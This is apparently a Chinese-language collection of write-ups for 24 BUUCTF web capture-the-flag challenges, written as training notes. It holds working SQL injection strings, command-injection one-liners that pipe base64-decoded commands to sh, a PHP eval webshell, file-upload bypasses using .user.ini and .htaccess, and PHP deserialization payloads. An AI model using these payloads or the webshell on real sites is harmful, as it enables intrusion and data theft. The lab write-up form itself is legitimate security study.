buuweb(1-24)


1[极客大挑战2019]Havefun

f12有提示,/?cat=dog即可。

难度:0

2[ACTF2020新生赛]Include

题目名称叫Include,点tips之后url里有?file=flag.php,基本确定是任意文件读取漏洞。

无源码泄露。

测试远程代码执行:

php://input伪协议(post里输代码),

data://text/plain 伪协议

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

均被毙。

测试远程任意读:

php://filter伪协议

php://filter/read=convert.base64-encode/resource=flag.php

可用。

难度:3

3[强网杯2019]随便注

先测试报错,发现有报错。使用经典的报错注入

1' and updatexml(1,concat(0x7e,database())),1) --+

发现有过滤【return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

   尝试了大小写和套娃,均无效(其实从代码中的return/i也几乎可以判断出这无效)。

   测试发现有堆叠注入;继续注入,确定数据库、表和列。

1';use supersqli;show tables;#

1';use supersqli;show columns from `1919810931114514`;#

(确定数据库有两种方法;一个是利用堆叠注入的1';show databases;#获取所有数据库,在看可疑的;另一个是用报错注入的另一姿势1' and extractvalue(1,concat(0x7e,database()))#extractvalue用法与updatexml完全相同。直接获取当前数据库。后者绕过了正则中的update,但若继续用报错注入,后续还得用select,所以不行)

接着,从列中提取数据需要用到select了,这里使用了拼接命令的方法

1';use supersqli;set @variable=concat('s','elect `flag` from `1919810931114514`');prepare sentence from @variable;execute sentence;#

set 语句为已存在的变量赋值,PREPARE创建SQL语句,EXECUTE执行SQL语句。sql中有一些保留字,当你的字段名是它的保留字时,这个时候sql语句的字段不加``就会报错。)

输入这个之后会提示【strstr($inject, "set") && strstr($inject, "prepare");这个看起来就可以用大小写绕过。

难度:5

4[SUCTF 2019]EasySQL

测试发现过滤了一堆东西,包括但不限于【and or && union " updatexml extractvalue from Flag

测试发现无报错信息,输入长度要求非常严格,堆叠注入可用。采用堆叠注入:

1;show databases#

1;use ctf;show tables#

(堆叠注入要求语句正确;本题1'#报错,说明数据没有被单引号包裹,不需要加单引号;而上一题1'#不报错,故需要用单引号才能被识别为多个语句)

无后续。查wp得可推断后端代码为【sql=select.post[query]."||flag from Flag";

payload *,1

难度:5

5[ACTF2020新生赛]exec

123;cat /flag 即可。

find / -name xxx 会消耗巨长的时间,慎用。

复习一下linux命令分隔符:

;】依次执行命令,不关心成败

&&】执行失败一个命令后就不再执行

||】执行成功一个命令后就不再执行

&】放在启动参数后面表示设置此进程为后台进程

|】上一条命令的输出,作为下一条命令参数

难度:1

6[极客大挑战2019]Secret File

html源码+抓包 即可找到secr3t.php;进去看一下代码,filter读一下就行了。

file=php://filter/read=convert.base64-encode/resource=flag.php

难度:1

7[GXYCTF2019]Ping Ping Ping

也是命令执行RCE,但进行了许多过滤。

过滤了空格,可以用${IFS}$绕过;

又过滤了几乎所有符号,于是改用$IFS$1

过滤了flag,先读取index.php

使用base64-encode的方法绕过flag过滤:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

解析:

$IFS$1换为空格:echo Y2F0IGZsYWcucGhw|base64 -d|sh

echo-d是第一个命令;它的意思是将那一串东西base64解密后输出。

echo cat flag.php|sh

|】管道符将前一个的结果作为后一个的参数;过滤了bash,所以用sh执行(我的本地dash也可,但它的不行)

还有一种解法:

cat$IFS$1`ls`

【内联执行】将反引号内命令的输出作为输入执行

$IFS是‘内部字段分隔符’;

难度:3

8[极客大挑战 2019]Http

感觉最难的一步就是第一步,找到Secret.php;dirsearch是扫不到的,已知的一种方法是从burptargetcontents里获取(初见这种姿势)

接下来,根据提示分别设置refereruser-Agentbrowser),X-Forwarded-For就行了。

难度:2

9、[极客大挑战2019]upload

写个一句话马(先不用.php)先传上去:

<?php eval($_GET[wow]);?>

回显not image,将content-type改为【image/jpeg

回显<? ?>被过滤,改用<script language=php> </script>

回显Its not image at all,改文件头

文件头标识:

1JPEG

- 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

- 文件结束标识 (2 bytes): 0xff, 0xd9 (EOI)

2PNG

-文件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A

4GIF

 文件头标识 (6 bytes) 47 49 46 38 39(37) 61,字符即:GIF89 (7)a

GIF89a直接改最简单;用hex editor加上PNG的文件头,然后直接上传用burp抓包也行(复制进burp好像不行);JPEG头好像不行。

改文件名后缀,发现过滤了php,用【phtml】即可。

上传成功,进入upload下的文件(扫一下可知),

?wow=system(“”);flag

难度:4

10、[ACTF2020 新生赛]Upload

只需用phtml一个点;比上一题简化了很多。

难度:2

11、[RoarCTF 2019]Easy Calc

找一找,可以找到jQuery的一个源码和calc.php源码;

jQuery那个源码不是防火墙的源码。

对于waf,在get变量前加个空格即可绕过,原因是php在会对get变量(关联数组下标)进行一些额外处理:【删除空白字符,以及将某些字符转换为下划线】,但自己写的waf不一定有这些处理。

接下来对php里的东西进行绕过。最先想到的是system,但是他过滤了引号,于是用system(chr(34).xxxxxx.chr(34));但是不行。查看phpinfo发现禁用了一大堆函数,只能改用

var_dump(scandir(chr(47)))

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

难度:5

12、[极客大挑战 2019]PHP

提示有网站备份,自然要用dirsearch扫。

但如果直接扫,会全返回【429too many request】,需要用 -s 指定延迟(单位:秒)

python dirsearch.py -s 5 -u url

找到www.zip后源码审计,是个简单的php反序列化+__wakeup绕过。字节码建议别手搓,而是用本地PHP环境生成一个。

然而,本题类中的属性都是private;这样的话序列化出来的名字就不是【“属性名”】,而是【“%00类名%00属性名】(此处类名指的是声明该私有属性的类的类名)。%00在我的本地php环境是无法输出的;直接在url上输入又会被视作截断。只能用python提交。

难度:3

13、[ACTF2020新生赛]BackupFile

dirsearch扫,或根据提示脑洞到.bak文件

弱类型123=”123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”

难度:1

14、[护网杯 2018]easy_tornado

模板注入--判据有两个:tornado是一个python web模板;网站里面有个文件里写了render,也是模板的意思。

再探索题目环境,发现他告诉了flag的位置,以及filehash需要由cookie计算。

接下来的一步是模板注入的关键环节。由于对模板注入了解比较少(且不同的模板也不太一样),这里仅给出获取cookiepayload:【error?msg={{handler.settings}}】;

emmmm现在只记住了有【{{   }}】的就是模板注入。

接下来用python生成相应的MD5内容。pythonmd5hashlib库中;

记住送入md5的东西要【.encode】,出来的要【.hexdigest】 就行了

计算MD5payload

print(md5(cookie_secret.encode()+md5(filename.encode()).hexdigest().encode()).hexdigest())

难度:不评价

15、[极客大挑战 2019]BuyFlag

传统题。根据提示改cookie,弱类型绕数字过滤,科学计数法绕长度过滤。

难度:1

16、[HCTF 2018]admin

直接admin 密码123登录拿到了flag。。。懒得看预期解了

难度:不评价

17、[BJDCTF2020]Easy MD5

一道题解决了巨多MD5问题

MD5绕过姿势:

10e大法:由于科学计数法,都会被认为是0;只适用于最普通的类型。

(2)数组绕过:md5作用于数组时会返回NULL;可以基于此构造payload

param1[]=1?m2[]=2

(3)MD5碰撞:若比较时进行了string强转,则任何数组都会变成Array,无法绕过。这时候只能硬碰撞,即找两个md5相同,但本体不同的东西。这里使用fastcoll。由于生成的文件都是不可读字符,写脚本进行提交。脚本中的1,2 .txt是将空白文本文档放到fastcoll里跑出来的。注意读文件使用rb

extraMD5数据库绕过:使用经典payloadffifdyop】即可。这个字符串的MD5

值是276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or 6 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'。等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

难度:3

18、[ZJCTF 2019]NiZhuanSiWei

第一步读取文件,判定内容,用两种伪协议都能搞定:

data伪协议:【text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

php://input伪协议:这个稍微复杂一点;注意当post的内容不是“x=blablabla”的形式时,hackbar无法发出,只能抓包。在Post的内容中,+’不会被解析为空格,等等。

第二步读取useless.php内容。这里题目说了,不能直接读取flag.php

直接php://filter协议即可

file=php://filter/read=convert.base64-encode/resource=useless.php

读取之后,编写脚本生成反序列化payload

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第三步读取flag.php。注意在第二步中,我们是想获得useless.php的源码,但在第三步中, 我们是想让他执行,所以要直接读。

payload(若第一步用php://input,也不影响二三步) text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&pass word=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

难度:4

19、[SUCTF 2019]CheckIn

其他姿势同第九题【[极客大挑战2019]upload】。新学了一个姿势: .user.ini后门。

我们会注意到,此题除了实现上传功能的index.php,在我们传文件的目录下也自带了个index.php,此事必有蹊跷。

先给出解法:上传一个文件名为【.user.ini】的文件,内容【auto_prepend_file=xxx

再上传【xxx.jpg,里面写马。之后访问目录下的index.php,就能RCE了。

原理:除了主【php.ini】之外,PHP还会在被执行的PHP文件所在目录下扫描ini文件。PHP_INI_*有四种模式,除了PHP_INI_SYSTEM之外,其他模式都是可以通过【.user.ini

来设置的。【auto_prepend_file=xxx】可使(该目录下)所有PHP文件在执行前先自动包含xxx文件。所以,xxx文件的后缀并不重要。

难度:5

20、[极客大挑战 2019]HardSQL

本题把空格相关、and相关的东西过滤的很彻底,还过滤了‘=

纯无空格报错注入sqli-lab里练过,没啥大问题。不过手有点生了,犯了些低级失误。

1'or(updatexml(1,concat(0x7e,database()),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database())or((table_name)like('H4rDsq1'))))),1))#

1'or(updatexml(1,concat(0x7e,(select((password))from(H4rDsq1))),1))#

1'or(updatexml(1,concat(0x7e,(select((right(password,20)))from(H4rDsq1))),1))#

学到的几个知识点:

0)这种注入括号格式较复杂;详解之前sqli-lab23及其他。

(1)limit是不能加括号的,必须用空格类字符的。limit(0,1)必报错

(2)likeregexp替代=。注意like不加括号,两边的东西要加括号;regexp没试过。

(3)第三步因为不能用and,我用or代替了。实际上,不加or的第一项也可以

(4)最后一步直接读flag太长读不完,用【right(password,x)】从第x位开始读

难度:4

21[MRCTF2020]你传你*

经典的.htaccess绕过。

解法:

上传文件.htaccess:

再上传wow.jpg马,访问他即可。

过滤了一堆函数;使用【var_dump(scandir(/))】【var_dump(file_get_contents('/flag'));

原理:

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess的用途范围主要针对当前目录。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。

图中的.htaccess中的内容是将wow.jpg作为PHP文件解析(大概是这个意思)

难度:3

21、[MRCTF2020]Ez_bypass

md5数组绕过+数字后加字母。

难度:1

22、[网鼎杯2020青龙组]AreUSerialz

反序列化的题,慢慢盘代码逻辑就行了。

有个绕过要把字符串改成int

注意protected序列化出来是【%00*%属性名】(private【“%00类名%00属性名】),但题目过滤了不可见字符;生成payload时要把protected改成public

payload:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:12:"Hello World!";}

难度:3

23、[GXYCTF2019]BabySQli

考点是:联合查询在查询并不存在的数据时,就会短暂构造一个虚拟的数据。

试验后会发现本题user必是admin

(题目里给了个base64-base32加密的东西做提示,只select账号;好像用处不大。)

使用联合查询构造临时密码,用自己构造的密码登录。(试了其他几个姿势,发现括号和information都过滤了,不行)

payload:【name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

md5(1)=c4ca4238a0b923820dcc509a6f75849b;

密码是经过md5在后台存储的,这一点题目没有提示,有点奇怪。)

难度:4

24、[GYCTF2020]Blacklist

前几步和【3[强网杯2019]随便注】相同。

1';show+databases;--+

1';use+supersqli;show+tables;--+

1';use+supersqli;show+columns+from+`FlagHere`;--+

但是,它过滤了setprepare,所以之前的姿势不能用了。

考点:HANDLER语句。

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#

handler具体用法也不多,见官方文档https://dev.mysql.com/doc/refman/8.0/en/handler.html

难度:5

web